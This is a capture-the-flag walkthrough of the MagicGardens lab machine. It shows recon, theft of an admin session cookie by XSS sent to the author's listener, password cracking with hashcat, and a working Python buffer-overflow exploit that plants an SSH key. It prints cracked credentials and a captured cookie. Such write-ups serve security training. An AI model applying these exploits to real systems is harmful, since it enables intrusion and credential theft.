MagicGardens
Synopsis
MagicGardens is a insane linux machine created by m4rsh3ll. The domain magicgardens.htb contains the django admin. The XSS exploit is used to steal the admin cookie. The django admin panel contains the morty's hash which can be cracked and can ssh into the system as morty. The pillaging reveals that the alex is running the custom binary harvest
and morty also has access to it. Reversing the binary and found that it is vulnerable to buffer overflow, which can be used to gain the shell as alex. The user alex has got a mail which contains the auth.zip file which contains the username and hash to access the docker registry. Cracking the hash and dumping the contain of docker registry, the django PickleSerializer
is used in the app. It is vulnerable to RCE which will give us the shell as root in docker container. The root in docker container has the capability of cap_sys_module
which can be abused to load the kernel model and privilege escalate into systems root.
Linux
Insane
50
18-05-2024
08-02-2025
Enumeration
Nmap
Starting the nmap
scan reveals that ssh, http, docker registry and other services are running.
nmap -p- -Pn -sC -sV --min-rate=1000 10.10.11.9
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-05 21:52 EST
Warning: 10.10.11.9 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.9
Host is up (0.55s latency).
Not shown: 64603 closed tcp ports (conn-refused), 928 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 e0:72:62:48:99:33:4f:fc:59:f8:6c:05:59:db:a7:7b (ECDSA)
|_ 256 62:c6:35:7e:82:3e:b1:0f:9b:6f:5b:ea:fe:c5:85:9a (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://magicgardens.htb/
1337/tcp open waste?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, TerminalServer, TerminalServerCookie, X11Probe, afp, giop, ms-sql-s:
|_ [x] Handshake error
5000/tcp open ssl/http Docker Registry (API: 2.0)
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2023-05-23T11:57:43
|_Not valid after: 2024-05-22T11:57:43
|_http-title: Site doesn't have a title.
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V=7.94SVN%I=7%D=2/5%Time=67A4248D%P=x86_64-pc-linux-gnu%r(
SF:GenericLines,15,"\[x\]\x20Handshake\x20error\n\0")%r(GetRequest,15,"\[x
SF:\]\x20Handshake\x20error\n\0")%r(HTTPOptions,15,"\[x\]\x20Handshake\x20
SF:error\n\0")%r(RTSPRequest,15,"\[x\]\x20Handshake\x20error\n\0")%r(RPCCh
SF:eck,15,"\[x\]\x20Handshake\x20error\n\0")%r(DNSVersionBindReqTCP,15,"\[
SF:x\]\x20Handshake\x20error\n\0")%r(DNSStatusRequestTCP,15,"\[x\]\x20Hand
SF:shake\x20error\n\0")%r(Help,15,"\[x\]\x20Handshake\x20error\n\0")%r(Ter
SF:minalServerCookie,15,"\[x\]\x20Handshake\x20error\n\0")%r(X11Probe,15,"
SF:\[x\]\x20Handshake\x20error\n\0")%r(FourOhFourRequest,15,"\[x\]\x20Hand
SF:shake\x20error\n\0")%r(LPDString,15,"\[x\]\x20Handshake\x20error\n\0")%
SF:r(LDAPSearchReq,15,"\[x\]\x20Handshake\x20error\n\0")%r(LDAPBindReq,15,
SF:"\[x\]\x20Handshake\x20error\n\0")%r(LANDesk-RC,15,"\[x\]\x20Handshake\
SF:x20error\n\0")%r(TerminalServer,15,"\[x\]\x20Handshake\x20error\n\0")%r
SF:(NCP,15,"\[x\]\x20Handshake\x20error\n\0")%r(NotesRPC,15,"\[x\]\x20Hand
SF:shake\x20error\n\0")%r(JavaRMI,15,"\[x\]\x20Handshake\x20error\n\0")%r(
SF:ms-sql-s,15,"\[x\]\x20Handshake\x20error\n\0")%r(afp,15,"\[x\]\x20Hands
SF:hake\x20error\n\0")%r(giop,15,"\[x\]\x20Handshake\x20error\n\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 330.42 seconds
Add the magicgardens.htb in /etc/hosts file.
Docker Registry - Port 5000
The docker registry needs the credentials to be accessed and we are unauthorized.
curl -k https://magicgardens.htb:5000/v2/
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":null}]}
Web - magicgardens.htb
The magicgarden is a e-commerce site where we can order flowers online.

The website has product catalog, sign-in features and allows us to search, buy, watchlist and add to cart the products. Purchasing the product gives us the success alert with the below message.

Creating the account and login into the account gives us the option to upgrade our subscription and getting a QR code for 25% discounts on all products.

Clicking the Upgrade button we are presented with payment form where we have to input our credit card details and choose the banks. The banks listed are honestbank.htb, magicbank.htb and plunders.htb.

Submitting the filled form gives up error message.

Foothold
Getting Subscriptions - magicgardens [ Creating Fake Bank ]
Changing bank parameter value
Intercepting the subscribe request with burpsuite
reveals the bank parameter which I will be going to change it with the nc
listener ip and port.

nc -lvnp 8443
Listening on 0.0.0.0 8443
Connection received on 10.10.11.9 38438
POST /api/payments/ HTTP/1.1
Host: 10.10.16.7:8443
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 131
Content-Type: application/json
{"cardname": "dexter", "cardnumber": "1111-2222-3333-4444", "expmonth": "September", "expyear": "2026", "cvv": "352", "amount": 25}
While trying to pay the /api/payments/ POST request is made at the bank.
Sending the same request to one of the listed banks
Sending the same POST request to honestbank.htb returns a 402 status.
curl -v honestbank.htb/api/payments/ -d '{"cardname": "dexter", "cardnumber": "1111-2222-3333-4444", "expmonth": "September", "expyear": "2026", "cvv": "420", "amount": 25}'
* Host honestbank.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.9
* Trying 10.10.11.9:80...
* Connected to honestbank.htb (10.10.11.9) port 80
* using HTTP/1.x
> POST /api/payments/ HTTP/1.1
> Host: honestbank.htb
> User-Agent: curl/8.11.1
> Accept: */*
> Content-Length: 131
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 131 bytes
< HTTP/1.1 402 Payment Required
< Server: nginx/1.22.1
< Date: Sun, 09 Feb 2025 09:15:03 GMT
< Content-Type: application/json
< Content-Length: 107
< Connection: keep-alive
< X-Frame-Options: DENY
< X-Content-Type-Options: nosniff
< Referrer-Policy: same-origin
< Cross-Origin-Opener-Policy: same-origin
<
* Connection #0 to host honestbank.htb left intact
{"status": "402", "message": "Payment Required", "cardname": "dexter", "cardnumber": "1111-2222-3333-4444"}%
Creating python script for changing the status to 200 when the /api/payments POST request is made
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route("/api/payments/", methods=["POST"])
def payments():
data = request.get_json()
response = {
"status": "200",
"message": "OK",
"cardname": data["cardname"],
"cardnumber": data["cardnumber"],
}
return jsonify(response)
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0")
Execute the script and send the POST request to /api/payments
curl 127.0.0.1:5000/api/payments/ -H "Content-Type: application/json" -d '{"cardname": "dexter", "cardnumber": "1111-2222-3333-4444", "expmonth": "September", "expyear": "2026", "cvv": "420", "amount": 25}'
{
"cardname": "dexter",
"cardnumber": "1111-2222-3333-4444",
"message": "OK",
"status": "200"
}
python3 update_status.py
* Serving Flask app 'update_status'
* Debug mode: on
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on all addresses (0.0.0.0)
* Running on http://127.0.0.1:5000
* Running on http://10.2.0.2:5000
Press CTRL+C to quit
* Restarting with watchdog (inotify)
* Debugger is active!
* Debugger PIN: 145-166-082
127.0.0.1 - - [09/Feb/2025 04:48:57] "POST /api/payments/ HTTP/1.1" 200 -
We got the status code 200.
Admin Access - Django Admin [ XSS - Cookie Stealing ]
The endpoint to generate QR code was /qr_code/images/serve-qr-code-image which path is used by django_qr_code and it is conformed by visiting the /admin, which presents us with django admin panel.

Open the python server and send the QR code to morty, we will get the Django admin cookie.
python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.9 - - [09/Feb/2025 10:13:17] "GET /?c=csrftoken=BQdzhHtVrouqNtm0tenhKrmUnQxZDpZD;%20sessionid=.eJxNjU1qwzAQhZNFQgMphZyi3QhLluNoV7rvqgcwkixFbhMJ9EPpotADzHJ63zpuAp7d977Hm5_V7265mO4bH-GuJBO9PBuE1TnE_IWwTlnmksbgLUtrETafQ3LdaUgZYYGwnVCH4rOJ6Naw0TLmfz_SdqKZvu9kya67POqGHmHJEHazTEn9Yfwonvp36Y-B6OBzHBS5VMjVJvIaenN6uXUfZgNOJofwTBttmW0FrU3VcGbMgWlRKcWptIIy2Ryqfa1t0-o9VYqpyrCaG061amuuhcBC_gDes2X7:1th8zo:GDhmDjeeWu1fLsFsA1CLjYdUfg7MXObXlz_M3tWX3Ss HTTP/1.1" 200 -
Shell - morty
Enumerating the admin panel found the morty's hash in Store users section.

Copying the hash in file and using hashcat
to crack it.
hashcat -a 0 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-haswell-AMD Ryzen 3 7320U with Radeon Graphics, 2553/5170 MB (1024 MB allocatable), 8MCU
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
10000 | Django (PBKDF2-SHA256) | Framework
NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 2 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
Cracking performance lower than expected?
* Append -w 3 to the commandline.
This can cause your screen to lag.
* Append -S to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordlist but a large ruleset.
* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework
pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=:jonasbrothers
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10000 (Django (PBKDF2-SHA256))
Hash.Target......: pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE...+Nl7I=
Time.Started.....: Sun Feb 9 10:28:34 2025 (47 secs)
Time.Estimated...: Sun Feb 9 10:29:21 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 54 H/s (7.73ms) @ Accel:64 Loops:512 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 2560/14344385 (0.02%)
Rejected.........: 0/2560 (0.00%)
Restore.Point....: 2048/14344385 (0.01%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:599552-599999
Candidate.Engine.: Device Generator
Candidates.#1....: slimshady -> hassan
Hardware.Mon.#1..: Temp: 93c Util: 93%
Started: Sun Feb 9 10:28:11 2025
Using the password for ssh as user morty gives us access to system via ssh.
ssh morty@10.10.11.9
morty@10.10.11.9's password:
Linux magicgardens 6.1.0-20-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.85-1 (2024-04-11) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Feb 8 16:28:50 2025 from 10.10.14.64
morty@magicgardens:~$
Lateral Movement
Pillaging - morty [ user ]
The ps aux
reveals that the user alex is running the harvest
command.
morty@magicgardens:~$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.3 102192 12396 ? Ss Feb08 0:08 /sbin/init
root 2 0.0 0.0 0 0 ? S Feb08 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< Feb08 0:00 [rcu_gp]
----- SNIP -----
morty 2073 0.0 1.7 2393280 71332 ? Sl Feb08 0:00 /usr/lib/firefox-esr/firefox-esr -contentproc -childID 6 -isForBrowser -prefsLen 27285 -prefMapSize 235228
alex 12544 0.0 0.0 2464 848 ? S Feb08 0:00 harvest server -l /home/alex/.harvest_logs
root 17191 0.0 0.0 0 0 ? I 00:00 0:02 [kworker/0:2-mm_percpu_wq]
----- SNIP -----
morty 25151 0.0 0.1 17524 6576 ? S 10:30 0:00 sshd: morty@pts/0
morty 25155 0.0 0.0 7196 3908 pts/0 Ss 10:30 0:00 -bash
morty 25202 300 0.1 11216 4472 pts/0 R+ 10:34 0:00 ps aux
The harvest
binary can be accessed by morty also.
morty@magicgardens:~$ which harvest
/usr/local/bin/harvest
Downloading the harvest
binary using the scp
for further enumeration.
scp morty@10.10.11.9:/usr/local/bin/harvest ./
morty@10.10.11.9's password:
harvest 100% 22KB 11.0KB/s 00:02
Pillaging - harvest [ binary ]
Checking the file type of harvest
. It is a 64-bit binary and is not stripped.
file harvest
harvest: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=13667f92f8314f1b726e07ce96dd2a4fad06df7f, for GNU/Linux 3.2.0, not stripped
Surfing the web about the harvest
doesn't provide any information. The binary is a custom made binary. Running the help command.
./harvest -h
██░ ██ ▄▄▄ ██▀███ ██▒ █▓▓█████ ██████ ▄▄▄█████▓
▓██░ ██▒▒████▄ ▓██ ▒ ██▒▓██░ █▒▓█ ▀ ▒██ ▒ ▓ ██▒ ▓▒
▒██▀▀██░▒██ ▀█▄ ▓██ ░▄█ ▒ ▓██ █▒░▒███ ░ ▓██▄ ▒ ▓██░ ▒░
░▓█ ░██ ░██▄▄▄▄██ ▒██▀▀█▄ ▒██ █░░▒▓█ ▄ ▒ ██▒░ ▓██▓ ░
░▓█▒░██▓ ▓█ ▓██▒░██▓ ▒██▒ ▒▀█░ ░▒████▒▒██████▒▒ ▒██▒ ░
▒ ░░▒░▒ ▒▒ ▓▒█░░ ▒▓ ░▒▓░ ░ ▐░ ░░ ▒░ ░▒ ▒▓▒ ▒ ░ ▒ ░░
▒ ░▒░ ░ ▒ ▒▒ ░ ░▒ ░ ▒░ ░ ░░ ░ ░ ░░ ░▒ ░ ░ ░
░ ░░ ░ ░ ▒ ░░ ░ ░░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░
harvest v1.0.3 - Remote network analyzer
Usage: harvest <command> [options...]
Commands:
server run harvest in server mode
client run harvest in client mode
Options:
-h show this message
-l <file> log file
-i <interface> capture packets on this interface
Example:
harvest server -i eth0
harvest client 10.10.15.212
It is a remote network analyzer tool. It runs in two mode server and client mode.
Running in the client mode it starts dumping the network packets.
./harvest client 10.10.11.9
[*] Connection to 10.10.11.9 1337 port succeeded
[*] Successful handshake
--------------------------------------------------
Source: [00:00:00:00:00:00] [127.0.0.1]
Dest: [00:00:00:00:00:00] [127.0.0.1]
Time: [20:38:03] Length: [0]
--------------------------------------------------
Source: [00:00:00:00:00:00] [127.0.0.1]
Dest: [00:00:00:00:00:00] [127.0.0.1]
Time: [20:38:03] Length: [0]
--------------------------------------------------
Source: [00:00:00:00:00:00] [127.0.0.1]
Dest: [00:00:00:00:00:00] [127.0.0.1]
Time: [20:38:03] Length: [0]
--------------------------------------------------
Source: [00:00:00:00:00:00] [127.0.0.1]
Dest: [00:00:00:00:00:00] [127.0.0.1]
Time: [20:38:03] Length: [0]
--------------------------------------------------
Source: [00:50:56:b9:69:f1] [10.10.11.40]
Dest: [ff:ff:ff:ff:ff:ff] [255.255.255.255]
Time: [20:38:03] Length: [65535]
--------------------------------------------------
Source: [00:00:00:00:00:00] [127.0.0.1]
Dest: [00:00:00:00:00:00] [127.0.0.1]
Time: [20:38:03] Length: [0]
----- SNIP -----
Running in server mode requires sudo
privilege and it just starts listening to the interface.
sudo ./harvest server -i tun0
[*] Listening on interface tun0
Reversing the binary with ghidra
. If the ghidra
is showing the no filesystem provider found while importing the file. Archive the harvest using tar
and import the file in ghidra
.
Enumerating the function log_packets.
undefined8 log_packet(long param_1,char *param_2)
{
uint16_t uVar1;
undefined2 packets [32680];
char file_name [40];
FILE *log_file;
uVar1 = htons(*(uint16_t *)(param_1 + 4));
if (uVar1 != 0) {
strcpy(file_name,param_2);
strncpy((char *)packets,(char *)(param_1 + 0x3c),(ulong)uVar1);
*(undefined2 *)((long)packets + (ulong)uVar1) = 10;
log_file = fopen(file_name,"w");
if (log_file == (FILE *)0x0) {
puts("Bad log file");
}
else {
fprintf(log_file,(char *)packets);
fclose(log_file);
puts("[!] Suspicious activity. Packages have been logged.");
}
}
return 0;
}
The file_name buffer with length 40 can be used to overwrite the file by buffer overflowing the packets buffer with length 32680
Shell - alex [ Buffer Overflow ]
Testing
Executing the harvest
server and client, then sending the 100 A's character in IPv6 packets.
sudo ./harvest server -l `python3 -c 'print("A"*100)'`
[sudo] password for admin:
[*] Listening on interface ANY
[*] Successful handshake
[!] Suspicious activity. Packages have been logged.
[1] 134731 segmentation fault sudo ./harvest server -l `python3 -c 'print("A"*100)'`
./harvest client 127.0.0.1
[*] Connection to 127.0.0.1 1337 port succeeded
[*] Successful handshake
--------------------------------------------------
Source: [56:e2:64:9f:18:75] [212.102.51.247]
Dest: [98:25:4a:ed:72:83] [192.168.104.233]
Time: [08:31:21] Length: [74]
nc -6 fe80::c310:5592:b397:758e%tun0 1337
The segmentation fault error is occurred and the empty file is created with 100 A's character file name.
Executing
I will be adding my ssh
public key in alex authorized_keys file through buffer overflow.
Create the ssh key
ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/dexter/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/dexter/.ssh/id_rsa
Your public key has been saved in /home/dexter/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:k0nx2Gt/w1Kqd56iwFBIWZEByoP4xTkuKfB0nmFQIes dexter@parrot
The key's randomart image is:
+---[RSA 3072]----+
| o.o.o+=+ |
| . B +...= |
|o + % . + o |
|.= B = o o . |
|. E + . S o . |
| . . o o . + |
| o + + |
| . .oo.o |
| oo +o |
+----[SHA256]-----+
Create the python script in morty's shell to add public key in authorized_keys
import socket
dst = ("::1", 8443)
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect(dst)
file_name = b"/home/alex/.ssh/authorized_keys"
data = b"A" * 12
data += b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCdx/HrxLsv70mErY5W+4Twq302Kuo1n1Q2Ot1Qi6j9w7AcsGq1EcEH+Nz7lnKomq2pQwiIqURiESHpKkirx4m2kWGw6RMORkxPUvfLOt1mhkoGB49AT90YYvfFexdcYB/iHQef0HN1GiFE5PKYUToSmSFBnimcBaNAZ6RioEj3JUZyqvQtTleWfKJdOYmNVf94B9TfB6IhkBaJ8cLcyz6cykBYuJGmTIFNr9oZXOtkFPyyg09oBm2widzUCywFvqQzJLNRzeW9jtIFJtHPatCUjcdLGAUhmacTSlVplTU8+C3AjAhEnGfbc0KPOWfBtDYX5oLJ/9CI5GQNS4P8TrdLOPo2BuUwr1kQIGuPyVUSe5iqPgs6+HyTwaVmlN77UoyyFoMtO4i5T8AnHGE9dOXORKuMyfkdEx4vPz6AafI0LYySEGjNQyRxF/VZMQZh/nJBcN2JVFXmGYA6ae7BPeJ2XRZXORTJs1vNIo26ZiefDXENM8UXj6wnuTcDSKRegVE= dexter@parrot"
data += b"\n" * (65360 + 12 - len(data))
data += file_name
s.sendto(data, dst)
Run the harvest
client in your local machine and execute the pwn.py
harvest
client in your local machine and execute the pwn.py./harvest client 10.10.11.9
[*] Connection to 10.10.11.9 1337 port succeeded
[*] Successful handshake
--------------------------------------------------
Source: [00:50:56:b9:69:f1] [10.10.11.40]
Dest: [ff:ff:ff:ff:ff:ff] [255.255.255.255]
Time: [10:52:33] Length: [65535]
----- SNIP -----
morty@magicgardens:/tmp$ python3 pwn.py
The harvest
client is closed by server when executed the pwn.py
----- SNIP -----
Source: [00:50:56:b9:69:45] [10.10.11.9]
Dest: [00:50:56:b9:24:7e] [10.10.16.7]
Time: [10:54:18] Length: [86]
[!] Connection closed by server
SSH into alex using the ssh
private key.
ssh
private key.ssh -i id_rsa alex@10.10.11.9
Linux magicgardens 6.1.0-20-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.85-1 (2024-04-11) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have mail.
Last login: Sat Feb 8 18:29:47 2025 from 10.10.14.64
alex@magicgardens:~$
Pillaging - alex [ user ]
While logging in the message You have mail is given. Checking the mail gives us the auth.zip file which contains the registry configurations and passwords.
alex@magicgardens:~$ cd /var/spool/mail
alex@magicgardens:/var/spool/mail$ ls
alex root
alex@magicgardens:/var/spool/mail$ cat alex
From root@magicgardens.magicgardens.htb Fri Sep 29 09:31:49 2023
Return-Path: <root@magicgardens.magicgardens.htb>
X-Original-To: alex@magicgardens.magicgardens.htb
Delivered-To: alex@magicgardens.magicgardens.htb
Received: by magicgardens.magicgardens.htb (Postfix, from userid 0)
id 3CDA93FC96; Fri, 29 Sep 2023 09:31:49 -0400 (EDT)
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="1804289383-1695994309=:37178"
Subject: Auth file for docker
To: <alex@magicgardens.magicgardens.htb>
User-Agent: mail (GNU Mailutils 3.15)
Date: Fri, 29 Sep 2023 09:31:49 -0400
Message-Id: <20230929133149.3CDA93FC96@magicgardens.magicgardens.htb>
From: root <root@magicgardens.magicgardens.htb>
--1804289383-1695994309=:37178
Content-Type: text/plain; charset=UTF-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
Content-ID: <20230929093149.37178@magicgardens.magicgardens.htb>
Use this file for registry configuration. The password is on your desk
--1804289383-1695994309=:37178
Content-Type: application/octet-stream; name="auth.zip"
Content-Disposition: attachment; filename="auth.zip"
Content-Transfer-Encoding: base64
Content-ID: <20230929093149.37178.1@magicgardens.magicgardens.htb>
UEsDBAoACQAAAG6osFh0pjiyVAAAAEgAAAAIABwAaHRwYXNzd2RVVAkAA29KRmbOSkZmdXgLAAEE
6AMAAAToAwAAVb+x1HWvt0ZpJDnunJUUZcvJr8530ikv39GM1hxULcFJfTLLNXgEW2TdUU3uZ44S
q4L6Zcc7HmUA041ijjidMG9iSe0M/y1tf2zjMVg6Dbc1ASfJUEsHCHSmOLJUAAAASAAAAFBLAQIe
AwoACQAAAG6osFh0pjiyVAAAAEgAAAAIABgAAAAAAAEAAACkgQAAAABodHBhc3N3ZFVUBQADb0pG
ZnV4CwABBOgDAAAE6AMAAFBLBQYAAAAAAQABAE4AAACmAAAAAAA=
--1804289383-1695994309=:37178--
Pillaging - auth.zip [ file ]
Getting Docker registry password
Decoding the base64 and unzipping the file
echo "UEsDBAoACQAAAG6osFh0pjiyVAAAAEgAAAAIABwAaHRwYXNzd2RVVAkAA29KRmbOSkZmdXgLAAEE6AMAAAToAwAAVb+x1HWvt0ZpJDnunJUUZcvJr8530ikv39GM1hxULcFJfTLLNXgEW2TdUU3uZ44Sq4L6Zcc7HmUA041ijjidMG9iSe0M/y1tf2zjMVg6Dbc1ASfJUEsHCHSmOLJUAAAASAAAAFBLAQIeAwoACQAAAG6osFh0pjiyVAAAAEgAAAAIABgAAAAAAAEAAACkgQAAAABodHBhc3N3ZFVUBQADb0pGZnV4CwABBOgDAAAE6AMAAFBLBQYAAAAAAQABAE4AAACmAAAAAAA=" | base64 -d > auth.zip
unzip auth.zip
Archive: auth.zip
[auth.zip] htpasswd password:
skipping: htpasswd incorrect password
The file is protected with password.
Getting the hash and cracking it
zip2john auth.zip > auth_zip.hash
ver 1.0 efh 5455 efh 7875 auth.zip/htpasswd PKZIP Encr: 2b chk, TS_chk, cmplen=84, decmplen=72, crc=B238A674 ts=A86E cs=a86e type=0
hashcat -a 0 -m 17225 auth_zip.hash /usr/share/wordlists/rockyou.txt --user
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-haswell-AMD Ryzen 3 7320U with Radeon Graphics, 2553/5170 MB (1024 MB allocatable), 8MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Not-Iterated
* Single-Hash
* Single-Salt
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 2 MB
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec
$pkzip$1*2*2*0*54*48*b238a674*0*42*0*54*a86e*55bfb1d475afb746692439ee9c951465cbc9afce77d2292fdfd18cd61c542dc1497d32cb3578045b64dd514dee678e12ab82fa65c73b1e6500d38d628e389d306f6249ed0cff2d6d7f6ce331583a0db7350127c9*$/pkzip$:realmadrid
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 17225 (PKZIP (Mixed Multi-File))
Hash.Target......: $pkzip$1*2*2*0*54*48*b238a674*0*42*0*54*a86e*55bfb1...pkzip$
Time.Started.....: Mon Feb 10 11:16:11 2025 (0 secs)
Time.Estimated...: Mon Feb 10 11:16:11 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 66754 H/s (0.37ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 4096/14344385 (0.03%)
Rejected.........: 0/4096 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> oooooo
Hardware.Mon.#1..: Temp: 74c Util: 20%
Started: Mon Feb 10 11:15:32 2025
Stopped: Mon Feb 10 11:16:12 2025
Crack the hash
hashcat -a 0 -m 3200 htpasswd /usr/share/wordlists/rockyou.txt --user
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-haswell-AMD Ryzen 3 7320U with Radeon Graphics, 2553/5170 MB (1024 MB allocatable), 8MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 0 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
$2y$05$KKShqNw.A66mmpEqmNJ0kuoBwO2rbdWetc7eXA7TbjhHZGs2Pa5Hq:diamonds
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$05$KKShqNw.A66mmpEqmNJ0kuoBwO2rbdWetc7eXA7TbjhH...2Pa5Hq
Time.Started.....: Mon Feb 10 11:21:21 2025 (1 sec)
Time.Estimated...: Mon Feb 10 11:21:22 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 3990 H/s (7.50ms) @ Accel:8 Loops:16 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 960/14344385 (0.01%)
Rejected.........: 0/960 (0.00%)
Restore.Point....: 896/14344385 (0.01%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:16-32
Candidate.Engine.: Device Generator
Candidates.#1....: hawaii -> sandy
Hardware.Mon.#1..: Temp: 68c Util: 18%
Started: Mon Feb 10 11:21:17 2025
Stopped: Mon Feb 10 11:21:23 2025
Pillaging - Docker registry [ Port 5000 ]
Using the above credentials gives us access to the Docker registry.
